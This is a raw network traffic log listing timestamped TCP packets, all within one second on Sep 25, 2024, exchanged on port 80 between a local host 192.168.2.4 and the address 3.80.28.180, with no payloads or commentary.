Sep 25, 2024 03:51:28.335163116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.335177898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.335223913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.335230112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.335246086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.335266113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.335283995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.335299015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.335309029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.335309029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.335318089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.335411072 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.365833998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.365881920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.365896940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.365932941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.365964890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.365983963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.365999937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.366017103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.366031885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.366075993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.366113901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.366358995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.421185970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.422389030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422421932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422439098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422472954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.422513008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422529936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422579050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422590017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.422597885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422641993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.422714949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422732115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422756910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.422770977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422790051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422807932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.422822952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.422897100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423021078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423038006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423057079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423074007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423089981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423090935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423109055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423110962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423125982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423141956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423152924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423160076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423228979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423415899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423432112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423448086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423464060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423480034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423490047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423490047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423496008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423512936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423522949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423532009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423635960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423729897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423744917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423762083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423778057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423793077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423793077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423810005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423818111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423827887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.423871040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.423886061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424118042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424134016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424149990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424166918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424182892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424197912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424204111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424215078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424228907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424230099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424245119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424271107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424273014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424273014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424288034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424307108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424314976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424354076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424665928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424681902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424696922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424711943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424729109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424743891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424761057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424774885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424776077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.424774885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424797058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.424892902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425021887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425045013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425061941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425076962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425101042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425117016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425122023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425122023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425134897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425149918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425167084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425168991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425180912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425196886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425198078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425215006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425231934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425247908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425252914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425252914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425268888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425302982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425786972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425812960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425828934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425844908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425848007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425860882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425878048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425889015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425894022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425908089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425911903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425929070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425945997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425961971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425971985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425971985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.425978899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.425995111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426008940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426011086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426028967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426040888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426044941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426062107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426078081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426094055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426110029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426120996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426120996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426167011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426749945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426767111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426781893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426800966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426815987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426817894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426830053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426835060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426852942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426867008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426868916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426886082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426896095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426902056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426918983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426934958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426949978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426965952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.426980019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426980019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.426980972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.427004099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.427027941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.427027941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.456980944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.457020044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.457036018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.457098007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.457113981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.457130909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.457139969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.457140923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.457175970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.457197905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.457288027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.513535023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513566971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513583899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513629913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.513708115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513725042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513741970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513761997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513844013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513865948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.513865948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.513902903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513911963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.513952017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513968945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513983965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.513999939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514015913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514018059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514048100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514070988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514247894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514265060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514281034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514300108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514317036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514322996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514400005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514435053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514451981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514467955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514486074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514499903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514538050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514558077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514616966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514714956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514729977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514744997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514760971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514776945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514791965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514796019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514807940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514825106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514826059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.514842987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.514878988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.515125990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.515141010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.515156984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.515172958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.515180111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.515188932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.515213966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.515243053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.520967007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.520998001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521015882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521089077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521111965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521127939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521143913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521179914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521214962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521219969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521235943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521251917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521269083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521286011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521303892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521325111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521325111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521373034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521575928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521591902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521605968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521621943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521640062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521641016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521656990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521672964 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521675110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521691084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521708012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521723986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521740913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.521755934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521755934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.521779060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522058964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522073984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522094965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522120953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522136927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522150993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522166967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522167921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522183895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522193909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522201061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522216082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522232056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522247076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522258043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522258043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522264957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522281885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522298098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522301912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522315025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522316933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522336006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522350073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522351980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522370100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522386074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522391081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522403955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522422075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522449970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522449970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522752047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522768021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522783995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522849083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.522950888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522968054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.522983074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523003101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523017883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523020983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.523034096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523049116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523063898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523080111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523094893 CEST	80	49730	3.80.28.180	192.168.2.4
